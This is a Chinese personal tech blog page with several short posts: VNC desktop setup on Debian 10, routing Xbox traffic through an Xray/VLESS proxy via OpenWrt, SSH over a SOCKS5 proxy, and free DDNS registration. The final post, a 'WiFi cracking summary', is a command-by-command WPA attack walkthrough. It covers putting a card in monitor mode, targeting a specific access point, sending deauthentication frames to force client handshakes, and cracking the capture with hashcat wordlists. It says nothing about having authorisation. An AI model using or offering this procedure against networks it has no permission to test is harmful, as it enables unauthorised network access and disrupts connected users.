bookmark_borderDebian10安装桌面+配置VNC

安装

Debian10桌面版本次安装Xfce(https://wiki.debian.org/DesktopEnvironment )
apt update -y && apt full-upgrade -y
sudo apt install tasksel
sudo tasksel
sudo apt install tightvncserver
# https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-vnc-on-debian-10 
启动VNC并且生成配置文件:
vncserver :1 -geometry 1280x800 -depth 16 -localhost -nolisten tcp
配置文件默认保存在 ~/.vnc目录下。
然后根据安装的不同的桌面,修改对应的配置。

Gnome桌面配置

安装Gnome组件:
sudo apt install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal -y
写入配置文件,使客户端连接的时候可以启动图形界面,不然有可能是灰屏或者是空的
cp ~/.vnc/xstartup ~/.vnc/xstartup.old

cat > ~/.vnc/xstartup << EOF
#!/bin/bash
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
# gnome-session &
vncconfig -iconic &
dbus-launch --exit-with-session gnome-session &
EOF
最关键的就是这句:
dbus-launch –exit-with-session gnome-session &

xfce桌面配置

修改配置文件
vim  ~/.vnc/xstartup
cp ~/.vnc/xstartup ~/.vnc/xstartup.old

cat > ~/.vnc/xstartup << EOF
#!/bin/bash
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
# gnome-session &
vncconfig -iconic &
dbus-launch --exit-with-session startxfce4 &
EOF

重启VNC Server

vncserver -kill :1
vncserver :1 -geometry 1280x800 -depth 16 -localhost -nolisten tcp
然后通过映射服务器的5901端口就可以访问vnc了,例如:
ssh root@VPS_IP -L 5901:localhost:5901
连接本机5901端口即可。

bookmark_border解决XBOX下载没速度不稳定的问题

花了一天时间,终于想明白了,为啥XBOX下载没速度了.
因为XBOX是用UDP下载的,只要流量出了我的路由器到公网,就会被国内运营商Qos.
解决办法,让XBOX的UDP走TCP.
前提:
需要一台国外服务器,需要一个Openwrt(LEDE)软路由
1. 部署xray(xtls+vless)
首先要申请一个域名,然后申请一个SSL证书.
这个一开始会觉得很麻烦,其实熟悉以后,也就十分钟不到的事.
只有域名要花钱,证书都可以免费申请,这个上网找吧.
申请下来域名和证书后,修改如下命令,在服务器上一行一行复制粘贴执行,我这里以Debian为例:
# 证书使用的域名
DOMAIN="xx.xx.xyz"
# 根据 ${DOMAIN}.zip解压出的实际情况 决定 $SSL_CERT 和 $SSL_KEY路径
SSL_CERT="/etc/nginx/ssl/Nginx/1_${DOMAIN}_bundle.crt"
SSL_KEY="/etc/nginx/ssl/Nginx/2_${DOMAIN}.key"
SSL_PORT=11443
HTTP_PORT=10080
XRAY_PORT=1443

sudo apt update -y
sudo apt install nginx-full -y
cd /etc/nginx/ && sudo mkdir ssl
# 把证书压缩包放到/etc/nginx/ssl/下
sudo cp ~/${DOMAIN}.zip /etc/nginx/ssl/
cd /etc/nginx/ssl/ && sudo unzip ${DOMAIN}.zip


sudo tee /etc/nginx/sites-enabled/default << EOF
server {
        listen ${HTTP_PORT} default_server;
		listen [::]:${HTTP_PORT} default_server;
        return 301 https://\$host:${SSL_PORT}\$request_uri;
}
server {

	# SSL configuration
	listen ${SSL_PORT} ssl default_server;
	listen [::]:${SSL_PORT} ssl default_server;
    ssl_certificate ${SSL_CERT};
	ssl_certificate_key ${SSL_KEY};
	
	# Self signed certs generated by the ssl-cert package
	# Don't use them in a production server!
	#
	# include snippets/snakeoil.conf;

	root /var/www/html;

	# Add index.php to the list if you are using PHP
	index index.html index.htm index.nginx-debian.html;

	server_name ${DOMAIN};

	location / {
        root /var/www/html;
		try_files $uri $uri/ =404;
	}
}
EOF
# 如果要开放 nginx端口需要放开防火墙,不开放也行
#iptables -A INPUT -p tcp --dport ${SSL_PORT} -j ACCEPT

sudo systemctl restart nginx.service 

#xray
#下载最新的Xray-core 到 ~/xtls/xray 目录下
mkdir -p ~/xtls/xray && cd ~/xtls/xray 
lastVersion=$(curl -s https://github.com/XTLS/Xray-core/releases/latest | grep -Po '(?<=/releases/tag/)[0-9a-zA-Z.]*(?=")')
curl -sL "https://github.com/XTLS/Xray-core/releases/download/${lastVersion}/Xray-linux-64.zip" -o Xray-linux-64.zip && unzip  Xray-linux-64.zip
# uuid
Uuid=$(cd  ~/xtls/xray && ./xray uuid)
echo "UUID:$Uuid"

# xray 服务端配置
cat > ~/xtls/xray/config.json << EOF
{
	//日志配置,控制 Xray 输出日志的方式. https://xtls.github.io/Xray-docs-next/config/log.html#logobject
	"log": {
		//"access": "/var/log/Xray/access.log",
		"access": "/tmp/XrayAccess.log",
		"loglevel": "warning",
		"dnsLog": false
	},
	// 提供了一些 API 接口供远程调用。
	//"api": {},
	// 内置的 DNS 服务器. 如果没有配置此项,则使用系统的 DNS 设置。
	"dns": {
		"hosts": {
		  "localhost": "127.0.0.1"
		},
		"servers": [
		  "1.1.1.1",
		  "8.8.8.8",
		  {
			"address": "114.114.114.114",
			"port": 53,
			"domains": ["geoip:cn"]
			#"expectIPs": ["geoip:cn"]
		  },
		  "localhost"
		],
		"clientIp": "1.2.3.4",
		"tag": "dns_inbound"
  },
	// 路由功能。可以设置规则分流数据从不同的 outbound 发出.
	//"routing": {},
	// 本地策略,可以设置不同的用户等级和对应的策略设置。
	//"policy": {},
	// 一个数组,每个元素是一个入站连接配置。
	"inbounds": [ {
		// 监听地址,IP 地址或 Unix domain socket,默认值为 "0.0.0.0",表示接收所有网卡上的连接.可以指定一个系统可用的 IP 地址。支持填写 Unix domain socket,格式为绝对路径,形如 "/dev/shm/domain.socket",可在开头加 @ 代表 abstract,@@ 则代表带 padding 的 abstract。填写 Unix domain socket 时,port 和 allocate 将被忽略,协议目前可选 VLESS、VMess、Trojan,传输方式可选 TCP、WebSocket、HTTP/2、gRPC。
		"listen": "0.0.0.0",
		"port": $XRAY_PORT, // 可以换成其他端口
		"protocol": "vless",
		"settings": {
			"clients": [
				{
					"id": "$Uuid", // 填写你的UUID , ./xray uuid -i "fgrrwd"   OR   ./xray uuid
					"flow": "xtls-rprx-direct", 
					"level": 0
				}
			],
			"decryption": "none",
			"fallbacks": [
				 {
				  "dest": 80  // 本地80端口需支持http2,且不能是https
				}
			]
		},
		"streamSettings": {
			"network": "tcp",
			"security": "xtls",
			"xtlsSettings": {
				//"serverName": "${DOMAIN}",
				//"allowInsecure": false,
				"alpn": ["h2", "http/1.1"],
				//"minVersion": "1.2",
				//"maxVersion": "1.3",
				//"preferServerCipherSuites": true,
				"certificates": [
					{
						"certificateFile": "${SSL_CERT}", // 换成你的证书
						"keyFile": "${SSL_KEY}" // 换成你的私钥
					}
				]
			}
		},
		"sniffing":{
				"enabled": true,
				"destOverride": ["http", "tls", "fakedns"],
				"metadataOnly": false,
				"domainsExcluded": []
			},
		"allocate": {
				//  表示随机开放端口,每隔 refresh 分钟在 port 范围中随机选取 concurrency 个端口来监听。
				"strategy": "always"
			}
        }],
	// 一个数组,每个元素是一个出站连接配置。
	"outbounds": [ {
            "protocol": "freedom"
        }]
	// 用于配置 Xray 其它服务器建立和使用网络连接的方式。
	//"transport": {},
	// 用于配置流量数据的统计。
	//"stats": {},
	// 反向代理。可以把服务器端的流量向客户端转发,即逆向流量转发。
	//"reverse": {},
	// FakeDNS 配置。可配合透明代理使用,以获取实际域名。
	//"fakedns": {}
}
EOF

#  测试配置
./xray -test -config ./config.json
#
# 防火墙把xray端口开开
#iptables -A INPUT -p tcp --dport ${XRAY_PORT} -j ACCEPT
#iptables -A INPUT -p udp --dport ${XRAY_PORT} -j ACCEPT

# 运行
./xray -config ./config.json &


# 客户端配置文件:
cat > ~/xtls/xray/config_client.json << EOF
{
    "log": {
        "loglevel": "warning"
    },
    "inbounds": [
        {
            "port": 1080,
            "listen": "127.0.0.1",
            "protocol": "socks",
            "settings": {
                "udp": true
            }
        }
    ],
    "outbounds": [
        {
            "protocol": "vless",
            "settings": {
                "vnext": [
                    {
                        "address": "${DOMAIN}", 
                        "port": $XRAY_PORT,
                        "users": [
                            {
                                "id": "$Uuid",
                                "flow": "xtls-rprx-direct",
                                "encryption": "none",
                                "level": 0
                            }
                        ]
                    }
                ]
            },
            "streamSettings": {
                "network": "tcp",
                "security": "xtls", 
                "xtlsSettings": {
                    "serverName": "${DOMAIN}"
                }
            }
        }
    ]
}
EOF
把客户端配置文件config_client.json拉到本地
2. openwrt上导入配置
把上述配置输入到openwrt的ShadowSocksR Plus+ 设置中,关于安装ShadowSocksR Plus+ 可以参考我之前的博客.
ShadowSocksR Plus+ 中的”访问控制”->”局域网访问控制”中,内网访问控制选择”仅允许列表内”.
全局代理的LAN IP 和 增强游戏模式客户端LAN IP 分别输入XBOX的IP即可,点保存应用生效.
这时候下载速度就只和你VPS线路的速度有关了.
Windows上可以用v2rayN客户端.

bookmark_borderssh 通过socks5 代理连接

在kali上 nc默认用的是nc.traditional,不支持代理的。
$ ll /bin/nc
lrwxrwxrwx 1 root root 20 Jan 11  2019 /bin/nc -> /etc/alternatives/nc
$ ll /etc/alternatives/nc
lrwxrwxrwx 1 root root 15 Jan  1 12:06 /etc/alternatives/nc -> /bin/nc.traditional
安装支持socks5的nc
$ sudo apt install  netcat-openbsd -y
然后就可以使用ssh通过socks5代理连接了:
ssh [email protected] -o ProxyCommand='nc -X 5 -x 192.168.x.x:1080 %h %p' -p 22 
或者也可以让ssh通过另一个ssh隧道:
ssh [email protected] -o ProxyCommand='ssh -W %h:%p -oPort=22 -oIdentityFile="~/.ssh/key" 11.22.33.44' -p 22
让连111.222.111.222的ssh 外面裹着 11.22.33.44的ssh隧道。

bookmark_borderafraid.org注册free DDNS

假如我现在有一个动态公网IP
想挂一个域名,这个域名每隔一段时间就刷新一次解析的IP,确保我能通过域名连上IP
访问 https://freedns.afraid.org 注册登录
点击 Subdomains:
新增一个子域名:
那73007300.mooo.com将指向1.1.1.1的IP。
注册完域名访问 https://freedns.afraid.org/dynamic/ 
可以看到,这里有很多方式可以更新域名的IP。
最简单的就是点开”quick cron example”,把example的最后一行添加到Linux crontab中,这样Linux服务器的公网IP就会被定时刷新到域名。
舒服~~~

bookmark_borderWIFI破解总结

思路:
1. 抓包
2. 破解

1. 抓包

1.1. 搜集信息

准备一块支持监听模式的WIFI网卡,普通笔记本不支持,淘宝搜索 WIFI 渗透 网卡 就行了。
装上驱动,插上网卡。
切换到 monitor 或 managed 模式
#启动监控模式:(其它系统中网卡名字可能不同 通过iwconfig查看 )
ip link set wlan0 down
iwconfig wlan0 mode monitor
ip link set wlan0 up
airodump-ng wlan0 
#启动托管模式:
ip link set wlan0 down
iwconfig wlan0 mode managed
ip link set wlan0 up
#重要信息:在Vmware中使用Kali VM时:将Vmware中的USB设置从USB 2.0更改为USB 3.0。
确保没别的程序在用
airmon-ng check kill
查看网卡名字:
iwconfig
启动网卡:
airmon-ng start wlan0
搜集WIFI信息:
airodump-ng wlan0
主要搜集以下3个信息:
BSSID = AC:35:EE:15:8B:E2
网卡MAC地址,不用多说
CH = 6
信道
ESSID = DR-36670
WIFI名字
PWR 越大代表离得越近,-1代表不支持
Beacons 代表捕获到AP发的包数

1.2. 启动监听

模拟目标WIFI,启动监听:
airodump-ng --bssid AC:35:EE:15:8B:E2 -c 6 --write WPAcrack wlan0
-c 是 chanel的意思
–write 是保存抓到的数据包的名字
然后打开一个新的终端。

1.3. 抓握手包

强制让已连接的设备下线,重新握手:
aireplay-ng --deauth 100 -a AC:35:EE:15:8B:E2 wlan0
-c :指定用户的MAC地址
看2.的终端,
当右上角看到 handshake就代表抓到了:
图片下面代表的抓带了哪些设备的握手包。
抓到包,自动存到当前目录:
然后就可以把拿到的握手包去跑字典了。

2. 破解

2.1 CPU破解

用 AirCrack,这种方式比较慢。也有图形界面,比较简单粗暴。打开图形界面,设置好cap包和字典,还有WIFI类型,就可以跑了。
缺点是很慢。

2.2 GPU破解

hashcai可以用GPU跑字典实测用 RTX2060的显卡 比用 R7 2700的CPU快很多倍。
2.2.1 首先把cap转换成hccapx格式
在线转的网站:https://hashcat.net/cap2hccapx/
本地转的命令:
git clone https://github.com/hashcat/hashcat-utils.git
cd hashcat-utils/src
make
./cap2hccapx.bin /media/pcap/2603/2603-02.cap /media/pcap/2603/2603-02.hccapx
2.2.2 配置环境
下载 hashcat:
设置Windows内核参数,Linux环境忽略:
2.2.3 开始跑字典
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt
 这种的话会把每一次失败的尝试也打印出来,如果只想看成功的日志:
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt --quiet
-w 3 的意思是用很高的GPU 1最低 4最高。
-a 3 的是意思是暴力破解
-m 2500的意思是模式
关于用什么模式 参考:https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#how_can_i_identify_the_hash_type
结果看当前目录的potfile:
这里有一个技巧,如果跑着跑着断了,比如强制关了,只要当前目录下还有.restore文件,就可以继续跑,而不用重新开始:
.\hashcat.exe --restore
如果说字典真的比较大,要跑很久,建议在参数中加上 –session 参数:
.\hashcat.exe -a 3 -m 2500 -w 3 E:\********\********.hccapx E:\****\SecLists\Passwords\WiFi-WPA\probable-v2-wpa-top4800.txt  --session test1 --quiet
即使中途退出了,使用如下命令就能恢复了:
hashcat --session test1 --restore